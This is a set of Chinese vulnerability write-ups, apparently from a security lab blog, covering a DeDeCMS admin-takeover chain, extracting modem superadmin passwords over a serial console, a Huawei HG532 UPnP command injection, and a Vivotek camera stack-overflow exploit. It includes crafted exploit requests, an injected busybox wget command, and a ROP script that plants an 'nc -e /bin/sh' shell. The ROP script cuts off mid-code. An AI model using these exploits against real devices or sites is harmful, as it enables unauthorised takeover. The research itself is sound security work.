1. 漏洞只影响前台账户 admin账户在前台是敏感词无法登陆
2. admin账户的前后台密码不一致,无法修改后台密码。
3. 漏洞只影响未设置密保问题的账户##### 2、前台任意用户登陆漏洞
前台任意用户登陆漏洞主要是利用了DeDeCMS的机制问题,通过一个特殊的机制,我们可以获得任意通过后台加密过的cookie,通过这个cookie我们可以绕过登陆,实现任意用户登陆。
漏洞利用有一个限制:
如果后台开启了账户注册审核,那就必须等待审核通过才能进行下一步利用。
##### 3、前台管理员密码修改可影响后台的安全隐患
在DeDeCMS的设计中,admin被设置为不可从前台登陆,但是当后台登陆admin账户的时候,前台同样会登陆管理员账户。
而且在前台的修改密码接口,如果提供了旧密码,admin同样可以修改密码,并且这里修改密码会同步给后台账户。
通过3个漏洞配合,我们可以避开整个漏洞利用下的大部分问题。
前台任意用户密码修改漏洞->修改admin密码,前台任意用户登录漏洞->登陆admin账户,通过刚才修改的admin密码,来重置admin账户密码。
#### 0x03 漏洞复现
##### 1、 登陆admin前台账户
安装DeDeCMS
![](https://images.seebug.org/content/images/2018/01/5d867e22-6725-44a0-8921-eb1a470accb1.png-w331s)注册用户名为000001的账户
![](https://images.seebug.org/content/images/2018/01/2c982abb-8803-4ace-b900-b76fdebb1090.png-w331s)
由于是本地复现漏洞,所以我们直接从数据库中修改为审核通过
![](https://images.seebug.org/content/images/2018/01/62afac8d-5130-4df8-9755-b14d505cadc2.png-w331s)
访问
http://your_website/member/index.php?uid=0000001
![](https://images.seebug.org/content/images/2018/01/f5289b12-2d0c-4d1c-9c7a-f4ad0d1053cd.png-w331s)
获取cookie中
last_vid_ckMd5
值,设置DeDeUserID_ckMd5
为刚才获取的值,并设置DedeUserID
为0000001访问
http://your_website/member/
![](https://images.seebug.org/content/images/2018/01/81bdc4e1-6df5-4cb8-be06-1aebe66d7e47.png-w331s)
##### 2、修改admin前台登陆密码
使用DeDeCMS前台任意用户密码修改漏洞修改admin前台密码。
构造漏洞利用请求
http://yourwebsite/member/resetpassword.phpdopost=safequestion&safequestion=0.0&safeanswer=&id=1
![](https://images.seebug.org/content/images/2018/01/65169b22-9cca-49a4-b049-6b781721bad5.png-w331s)从Burp获取下一步利用链接
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
![](https://images.seebug.org/content/images/2018/01/01734ff4-d48d-42ca-b5d2-ec8837ee70e9.png-w331s)
直接访问该链接,修改新密码
![](https://images.seebug.org/content/images/2018/01/c0f3ffe5-6eb1-4064-92e4-16c366d84ba8.png-w331s)
成功修改登陆admin密码
##### 3、修改后台密码
访问
http://yourwebsite/member/edit_baseinfo.php
使用刚才修改的密码再次修改密码
![](https://images.seebug.org/content/images/2018/01/e77740d5-d2f6-443b-b4db-3ba0dbb7a37b.png-w331s)
成功登陆
![](https://images.seebug.org/content/images/2018/01/c68183da-b541-40e3-86d2-8b75aadb361a.png-w331s)
#### 0x04 代码分析
##### 1、 前台任意用户登陆
在分析漏洞之前,我们先来看看通过cookie获取登陆状态的代码。
/include/memberlogin.class.php 161行
![](https://images.seebug.org/content/images/2018/01/ca006dbb-b378-48b4-a907-1fb7ea9b3c85.png-w331s)
通过GetCookie函数从
DedeUserID
取到了明文的M_ID,通过intval
转化之后,直接从数据库中读取该id对应的用户数据。让我们来看看
GetCookie
函数
/include/helpers/cookie.helper.php 56行
![](https://images.seebug.org/content/images/2018/01/0a4a3a7c-3378-4d06-b4d4-e92f6f838185.png-w331s)
这里的
cfg_cookie_encode
是未知的,DeDeCMS通过这种加盐的方式,来保证cookie只能是服务端设置的,所以我们没办法通过自己设置cookie来登陆其他账户。这里我们需要从别的地方获取这个加密后的值。
/member/index.php 161行
![](https://images.seebug.org/content/images/2018/01/083c37a6-97ff-4655-8c96-0bf481c554e9.png-w331s)
161行存在一段特殊的代码,这段代码是用来更新最新的访客记录的,当
last_vid
没有设置的时候,会把userid
更新到这个变量中,更新到flag中。而这里的
userid
就是注册时的用户名(如果不是已存在的用户名的话,会因为用户不存在无法访问这个页面)。通过这种方式,我们就可以通过已知明文来获取我们想要的密文。
这里我们通过注册
userid
为形似00001或者1aaa这样的用户,在获取登陆状态时,mid
会经过intval
的转化变为1,我们就成功的登陆到admin的账户下。ps:该漏洞影响所有用户
##### 2、前台任意用户密码修改
漏洞主要逻辑在
/member/resetpassword.php
75行至95行![](https://images.seebug.org/content/images/2018/01/80dc5c44-533f-4eb2-8dae-c75f255a936b.png-w331s)
当找回密码的方式为安全问题时
dedecms会从数据库中获取用户的安全问题、回答进行比对,当我们在注册时没设置安全问题时。
从数据库中可以看到默认值为NULL(admin默认没有设置安全问题)
![](https://images.seebug.org/content/images/2018/01/33dd3447-bc19-4fc4-a869-f3961a67bd55.png-w331s)
下面是设置了安全问题时数据库的样子,safequestion代表问题的id,safeanswer代表安全问题的回答。
我们需要绕过第一个判断
if(empty($safequestion)) $safequestion = '';
这里我们只要传入
0.0
就可以绕过这里,然后0.0 == 0
为True,第二个判断NULL==""
为True,成功进入sn函数。跟入
/member/inc/inc_pwd_functions.php
第150行![](https://images.seebug.org/content/images/2018/01/005be5b8-87cc-433d-8b39-2f7dadeec734.png-w331s)
有效时间10分钟,进入newmail函数
跟入
/member/inc/inc_pwd_functions.php
第73行![](https://images.seebug.org/content/images/2018/01/23657efd-40df-4619-a322-89d3d68974c9.png-w331s)
77行通过random生成了8位的临时密码。
这里我们使用的是安全问题修改密码,所以直接进入94行,将key代入修改页。
跳转进入形似
/member/resetpassword.php?dopost=getpasswd&id=1&key=nlszc9Kn
的链接,进入修改密码流程唯一存在问题的是,这里
&
错误的经过一次编码,所以这里我们只能手动从流量中抓到这个链接,访问修改密码。##### 3、修改后台密码安全隐患
在DeDeCMS的代码中,专门对前台修改管理员密码做了设置,如果是管理员,则一并更新后台密码,也就是这个安全隐患导致了这个问题。
/member/edit_baseinfo.php 119行
![](https://images.seebug.org/content/images/2018/01/921e15f3-9e3e-4a34-a1f3-54475a6f25eb.png-w331s)
#### 0x05 修复方案
截至该文章完成时,DeDeCMS的官方仍然没有修复该漏洞,所以需要采用临时修复方案,等待官方正式修复更新。
由于攻击漏洞涉及到3个漏洞,但官方仍然没有公开补丁,所以只能从一定程度上减小各个漏洞的影响。
- 前台任意用户登陆漏洞:开启新用户注册审核,当发现userid为1xxxx或1时,不予以
通过审核。在官方更新正式补丁之前,可以尝试暂时注释该部分代码,以避免更大的安全隐患
/member/index.php 161-162行
![](https://images.seebug.org/content/images/2018/01/f88b5b3e-567b-4f72-a3cb-5efb4a7a18cb.png-w331s)
- 前台修改后台管理员密码:设置较为复杂的后台地址,如果后台地址不可发现,则无法登陆后台。
- 前台任意用户密码修改漏洞:修改文件
/member/resetpassword.php
第84行
![](https://images.seebug.org/content/images/2018/01/7b8c7600-68dc-4eb9-bfc5-bfee00d158b7.png-w331s)将其中的==修改为===
![](https://images.seebug.org/content/images/2018/01/920c7470-c038-44a7-b43d-12c27a8f5a87.png-w331s)
即可临时防护该该漏洞。
#### 0x06 ref
[1] DeDeCMS官网
[2] 漏洞详情原文
[3] Seebug漏洞平台
[4] 阿里先知平台漏洞分析1
[5] 阿里先知平台漏洞分析2
[6] 漏洞最早分析原文
-
如何通过TTL调试光猫
作者:Sebao@知道创宇404实验室
序言
众所周知,光猫是现在每个家庭必备的一款设备,但是光猫背面写的账号密码,只是普通用户权限,会限制很多功能。这篇文章讲述,如何通过TTL调试的方法获取光猫超级管理员的权限。
0x00 名词解释
引脚介绍(COM口pin比较多,但是常用的也是这几个):
VCC:供电pin,一般是3.3v,在我们的板子上没有过电保护,这个pin一般不接更安全
GND:接地pin,有的时候rx接受数据有问题,就要接上这个pin,一般也可不接
RX:接收数据pin
TX:发送数据pin,我之前碰到串口只能收数据,不能发数据问题,经baidu,原来是设置了流控制,取消就可以了,适用于putty,SecureCRT
在调试的时候, 多数情况下我们只引出rx,tx即可.
0x01 所需工具:
1,万用表
2,TTL转USB版
3,电烙铁
4,杜邦线若干只
5,SecureCRT
0x02 华为光猫
TTL调试的第一步骤就是拆机,拆机步骤这里就不详细描述。这里先看一下拆下来的光猫板子是什么样子的。
TTL调试我们首先要找出 GND,RX,TX。从图中可以看到,已经标识出了 GND,RX,TX的接口,就需要通过USB转TTL小板串口读取固件。 查找GND,可以用万用表查找。
用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。
USB端连接上电脑,在控制面板,设备管理器查看串口(一般在COM1-COM12之间),Connection type设置为:Serial,Serial line设置为你电脑上显示的串口,Speed设置为115200,然后连接。接通电源后等待,在这一段时间内串口应该会打印很多启动信息,启动差不多后,敲回车:
然后输入默认的账号root 密码 admin登录进去,输入shell命令,进入busybox.看一下此设备的cpu架构,用的是ARM7.
准备查找超级管理员的密码。进入/mnt/jffs2目录,复制配置文件hw_ctree.xml到myconf.xml.gz中。这个文件是AES加密的,所以先解密,命令为
aescrypt2 1 myconf.xml.gz tmp
。解密后的文件还是被压缩了的,所以要用gzip命令展开压缩文件myconf.xml.gz,得到myconf.xml。命令为:
gzip -d myconf.xml.gz
。然后用 grep 命令 查找telecomadmin,也就是超级管理员的密码。命令为:
grep telecomadmin myconf.xml
0x03 烽火光猫
和上述步骤一样,首先拆开光猫找到 GND,RX,TX。这个板子人性化的已经标明了GND,RX,TX。
所以直接用杜邦线连接到板子上,线序为GND接GND,RXD接TTL板的TXD,TXD 接TTL板的RXD。USB端连接上电脑。
接通电源后等待,在这一段时间内串口应该会打印很多启动信息,这里直接CTRL+C 跳过直接进入shell模式,这个也算是一个“后门”。输入命令
cat proc/cpuinfo
查看cpu的架构。进入shell获取超级管理员的方法差不多,参考上文即可,这里不再详细描述。
0x04 长虹光猫
和上述步骤一样。
因为这里没有针孔,所以需要焊接杜邦线到板子上,以便于固定杜邦线。
USB端连接上电脑。
0x05 总结
感谢 知道创宇404实验室 dawu,fenix提供的思路以及技巧。
-
Huawei HG532 系列路由器远程命令执行漏洞分析
作者:fenix@知道创宇404实验室
English version: https://paper.seebug.org/508/背景
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】 。
该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。
2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。
漏洞分析
固件下载
网上有 HG532e 版本的公开固件,下载地址【2】
下载该固件,利用 binwalk 直接解压。
目标系统是 MIPS 32 位 大端架构。
漏洞分析
根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。
直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。
通过字符串
NewStatusURL
对漏洞点进行定位。跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName 函数的定义如下。
程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。
1<ol class="linenums"><li class="L0"><code><span class="pln">snprintf</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x400</span><span class="pun">,</span><span class="pln"> </span><span class="str">'upg -g -U %s -t '</span><span class="lit">1</span><span class="pln"> </span><span class="typ">Firmware</span><span class="pln"> </span><span class="typ">Upgrade</span><span class="pln"> </span><span class="typ">Image</span><span class="str">' -c upnp -r %s -d -'</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewDownloadURL</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewStatusURL</span><span class="pun">)</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">system</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">)</span></code></li></ol>upg
是路由器的一个升级程序,他的参数功能如下。现在我们有两个命令注入点,
NewDownloadURL
和NewStatusURL
。漏洞验证
目标系统提供了以下命令。
利用 wget 命令进行漏洞测试。发送以下报文。
1<ol class="linenums"><li class="L0"><code><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"Authorization"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">'''<?xml version="1.0" ?></span></code></li><li class="L7"><code><span class="str"> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"></span></code></li><li class="L8"><code><span class="str"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"></span></code></li><li class="L9"><code><span class="str"> <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL></span></code></li><li class="L0"><code><span class="str"> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL></span></code></li><li class="L1"><code><span class="str"> </u:Upgrade></span></code></li><li class="L2"><code><span class="str"> </s:Body></span></code></li><li class="L3"><code><span class="str"></s:Envelope></span></code></li><li class="L4"><code><span class="str">'''</span></code></li><li class="L5"><code><span class="pln">requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="str">'http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1'</span><span class="pun">,</span><span class="pln">headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln">data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li></ol>可以看到,我们成功在监听的端口上收到了请求。
值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。
在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。
防护方案
2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。
公告中提到了以下漏洞缓解措施- 配置路由器内置的防火墙
- 更改路由器默认密码
- 在路由器外部署防火墙
是的,没找到固件升级包,所以,没有补丁分析…
总结
- 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
- 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
- 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。
参考链接
【1】 Check Point 漏洞报告
https://research.checkpoint.com/good-zero-day-skiddie/
【2】 HG532e 固件下载
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
https://www.seebug.org/vuldb/ssvid-97024/https://www.seebug.org/vuldb/ssvid-97024
【4】 华为安全公告
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en/http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en -
Vivotek 摄像头远程栈溢出漏洞分析及利用
作者:fenix@知道创宇404实验室
前言
近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。
漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本
1<ol class="linenums"><li class="L0"><code><span class="pln">CC8160 CC8370</span><span class="pun">-</span><span class="pln">HV CC8371</span><span class="pun">-</span><span class="pln">HV CD8371</span><span class="pun">-</span><span class="pln">HNTV CD8371</span><span class="pun">-</span><span class="pln">HNVF2 FD8166A</span></code></li><li class="L1"><code><span class="pln">FD8166A</span><span class="pun">-</span><span class="pln">N FD8167A FD8167A</span><span class="pun">-</span><span class="pln">S FD8169A FD8169A</span><span class="pun">-</span><span class="pln">S FD816BA</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">FD816BA</span><span class="pun">-</span><span class="pln">HT FD816CA</span><span class="pun">-</span><span class="pln">HF2 FD8177</span><span class="pun">-</span><span class="pln">H FD8179</span><span class="pun">-</span><span class="pln">H FD8182</span><span class="pun">-</span><span class="pln">F1 FD8182</span><span class="pun">-</span><span class="pln">F2</span></code></li><li class="L3"><code><span class="pln">FD8182</span><span class="pun">-</span><span class="pln">T FD8366</span><span class="pun">-</span><span class="pln">V FD8367A</span><span class="pun">-</span><span class="pln">V FD8369A</span><span class="pun">-</span><span class="pln">V FD836BA</span><span class="pun">-</span><span class="pln">EHTV FD836BA</span><span class="pun">-</span><span class="pln">EHVF2</span></code></li><li class="L4"><code><span class="pln">FD836BA</span><span class="pun">-</span><span class="pln">HTV FD836BA</span><span class="pun">-</span><span class="pln">HVF2 FD8377</span><span class="pun">-</span><span class="pln">HV FD8379</span><span class="pun">-</span><span class="pln">HV FD8382</span><span class="pun">-</span><span class="pln">ETV FD8382</span><span class="pun">-</span><span class="pln">EVF2</span></code></li><li class="L5"><code><span class="pln">FD8382</span><span class="pun">-</span><span class="pln">TV FD8382</span><span class="pun">-</span><span class="pln">VF2 FD9171</span><span class="pun">-</span><span class="pln">HT FD9181</span><span class="pun">-</span><span class="pln">HT FD9371</span><span class="pun">-</span><span class="pln">EHTV FD9371</span><span class="pun">-</span><span class="pln">HTV</span></code></li><li class="L6"><code><span class="pln">FD9381</span><span class="pun">-</span><span class="pln">EHTV FD9381</span><span class="pun">-</span><span class="pln">HTV FE8182 FE9181</span><span class="pun">-</span><span class="pln">H FE9182</span><span class="pun">-</span><span class="pln">H FE9191</span></code></li><li class="L7"><code><span class="pln">FE9381</span><span class="pun">-</span><span class="pln">EHV FE9382</span><span class="pun">-</span><span class="pln">EHV FE9391</span><span class="pun">-</span><span class="pln">EV IB8360 IB8360</span><span class="pun">-</span><span class="pln">W IB8367A</span></code></li><li class="L8"><code><span class="pln">IB8369A IB836BA</span><span class="pun">-</span><span class="pln">EHF3 IB836BA</span><span class="pun">-</span><span class="pln">EHT IB836BA</span><span class="pun">-</span><span class="pln">HF3 IB836BA</span><span class="pun">-</span><span class="pln">HT IB8377</span><span class="pun">-</span><span class="pln">H</span></code></li><li class="L9"><code><span class="pln">IB8379</span><span class="pun">-</span><span class="pln">H IB8382</span><span class="pun">-</span><span class="pln">EF3 IB8382</span><span class="pun">-</span><span class="pln">ET IB8382</span><span class="pun">-</span><span class="pln">F3 IB8382</span><span class="pun">-</span><span class="pln">T IB9371</span><span class="pun">-</span><span class="pln">EHT</span></code></li><li class="L0"><code><span class="pln">IB9371</span><span class="pun">-</span><span class="pln">HT IB9381</span><span class="pun">-</span><span class="pln">EHT IB9381</span><span class="pun">-</span><span class="pln">HT IP8160 IP8160</span><span class="pun">-</span><span class="pln">W IP8166</span></code></li><li class="L1"><code><span class="pln">IP9171</span><span class="pun">-</span><span class="pln">HP IP9181</span><span class="pun">-</span><span class="pln">H IZ9361</span><span class="pun">-</span><span class="pln">EH MD8563</span><span class="pun">-</span><span class="pln">EHF2 MD8563</span><span class="pun">-</span><span class="pln">EHF4 MD8563</span><span class="pun">-</span><span class="pln">HF2</span></code></li><li class="L2"><code><span class="pln">MD8563</span><span class="pun">-</span><span class="pln">HF4 MD8564</span><span class="pun">-</span><span class="pln">EH MD8565</span><span class="pun">-</span><span class="pln">N SD9161</span><span class="pun">-</span><span class="pln">H SD9361</span><span class="pun">-</span><span class="pln">EHL SD9362</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L3"><code><span class="pln">SD9362</span><span class="pun">-</span><span class="pln">EHL SD9363</span><span class="pun">-</span><span class="pln">EHL SD9364</span><span class="pun">-</span><span class="pln">EH SD9364</span><span class="pun">-</span><span class="pln">EHL SD9365</span><span class="pun">-</span><span class="pln">EHL SD9366</span><span class="pun">-</span><span class="pln">EH</span></code></li><li class="L4"><code><span class="pln">SD9366</span><span class="pun">-</span><span class="pln">EHL VS8100</span><span class="pun">-</span><span class="pln">V2</span></code></li></ol>Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。
我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。
调试环境搭建
固件下载
由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用
qemu
模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip/http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
通过
binwalk
直接解压出其中的文件系统,和漏洞有关的主要文件如下根据
file
命令的结果可知目标架构为ARM
、小端、32位。且该 ELF 文件为动态链接。修复运行依赖
尝试用
qemu
运行,结果如下服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:
gethostbyname:: Success
,回溯程序异常退出原因。依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,
Command + F
搜索gethostname
查看交叉引用信息,定位相应代码段
异常退出部分代码如下
为了看的更直观,我们来贴一下
F5
的结果,如下这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。
Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接
cat /proc/sys/kernel/hostname
查看。我们只需要将二者改成一致,httpd 服务即可成功运行。
调试环境
为了方便调试,还需要搭建 qemu 虚拟机环境。
qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/ (下载内核 3.2 的版本)
远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static/https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
qemu 虚拟机建议采用
桥接
方式和主机连接。1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com">#!/bin/bash</span></code></li><li class="L1"><code class="lang-bash"></code></li><li class="L2"><code class="lang-bash"><span class="pln">sudo tunctl </span><span class="pun">-</span><span class="pln">t tap0 </span><span class="pun">-</span><span class="pln">u </span><span class="str">`whoami`</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">sudo ifconfig tap0 </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">2.1</span><span class="pun">/</span><span class="lit">24</span></code></li><li class="L4"><code class="lang-bash"><span class="pln">qemu</span><span class="pun">-</span><span class="pln">system</span><span class="pun">-</span><span class="pln">arm </span><span class="pun">-</span><span class="pln">M versatilepb </span><span class="pun">-</span><span class="pln">kernel vmlinuz</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">initrd initrd</span><span class="pun">.</span><span class="pln">img</span><span class="pun">-</span><span class="lit">3.2</span><span class="pun">.</span><span class="lit">0</span><span class="pun">-</span><span class="lit">4</span><span class="pun">-</span><span class="pln">versatile </span><span class="pun">-</span><span class="pln">hda debian_wheezy_armel_standard</span><span class="pun">.</span><span class="pln">qcow2 </span><span class="pun">-</span><span class="pln">append </span><span class="str">"root=/dev/sda1"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">net nic </span><span class="pun">-</span><span class="pln">net tap</span><span class="pun">,</span><span class="pln">ifname</span><span class="pun">=</span><span class="pln">tap0</span><span class="pun">,</span><span class="pln">script</span><span class="pun">=</span><span class="pln">no</span><span class="pun">,</span><span class="pln">downscript</span><span class="pun">=</span><span class="pln">no </span><span class="pun">-</span><span class="pln">nographic</span></code></li></ol>启动虚拟机,进行简单配置等待远程调试。
漏洞研究
定位溢出点
以下为漏洞作者 @bashis 提供的 PoC
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="pun">-</span><span class="pln">en </span><span class="str">"POST /cgi-bin/admin/upgrade.cgi </span></code></li><li class="L1"><code><span class="str">HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> ncat </span><span class="pun">-</span><span class="pln">v </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">57.20</span><span class="pln"> </span><span class="lit">80</span></code></li></ol>老套路, 根据
Content-Length
很容易定位到溢出点,如下惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。
调用栈布局
dest
缓冲区起始地址距离栈底0x38
字节,栈上依次为 LR、R11-R4。Content-Length
长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。exp 研究
strncpy()
函数引起的栈溢出,在利用时就会有很 egg hurt 的0x00
坏字符问题,如果我们的输入数据中包含0x00
,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a
也会被截断。且开启了NX
保护,这意味着我们无法在栈上部署shellcode
。
尝试通过
return2libc
的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了ASLR
,如果ASLR
是开启的且没有其它可用来暴露libC
动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。采用以下方式暂时关闭
ASLR
1<ol class="linenums"><li class="L0"><code><span class="pln">echo </span><span class="lit">0</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="str">/proc/</span><span class="pln">sys</span><span class="pun">/</span><span class="pln">kernel</span><span class="pun">/</span><span class="pln">randomize_va_space</span></code></li></ol>libC
库的加载地址如下接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 =
libC
库在内存中的加载基址 + system() 函数在libC
库中的偏移,通过劫持该地址为libC
库中的 system() 函数地址,再设置R0
寄存器指向命令字符串,就可以执行任意命令。经过验证,
nc
命令可以正常使用。接下来我们开始构造
ROP
利用链,大致思路见以下汇编代码。Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget/https://github.com/JonathanSalwan/ROPgadget
它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。
我们需要将字符串参数
nc -lp2222 -e/bin/sh
部署到栈上,并且将地址存入R0
。该参数包含 20 个字节,且不含坏字符。libC
基址为0xb6f2d000
,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为0xbeffeb50
。利用
ROPgadget
搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。再搜索一条可用的 gadget,俗称曲线救国。
选择以下两条 gadget,构造
ROP
如下。1<ol class="linenums"><li class="L0"><code><span class="com"># 基于 qemu 模拟环境</span></code></li><li class="L1"><code><span class="com"># 摄像头型号:Vivotek CC8160</span></code></li><li class="L2"><code><span class="com"># 0x00048784 : pop {r1, pc} </span></code></li><li class="L3"><code><span class="com"># 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="com">#!/usr/bin/python</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">from</span><span class="pln"> pwn </span><span class="kwd">import</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">libc_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xb6f2d000</span><span class="pln"> </span><span class="com"># libC 库在内存中的加载地址</span></code></li><li class="L1"><code><span class="pln">stack_base </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xbeffeb70</span><span class="pln"> </span><span class="com"># 崩溃时 SP 寄存器的地址</span></code></li><li class="L2"><code><span class="pln">libc_elf </span><span class="pun">=</span><span class="pln"> ELF</span><span class="pun">(</span><span class="str">'libuClibc-0.9.33.3-git.so'</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x38</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L5"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00048784</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span 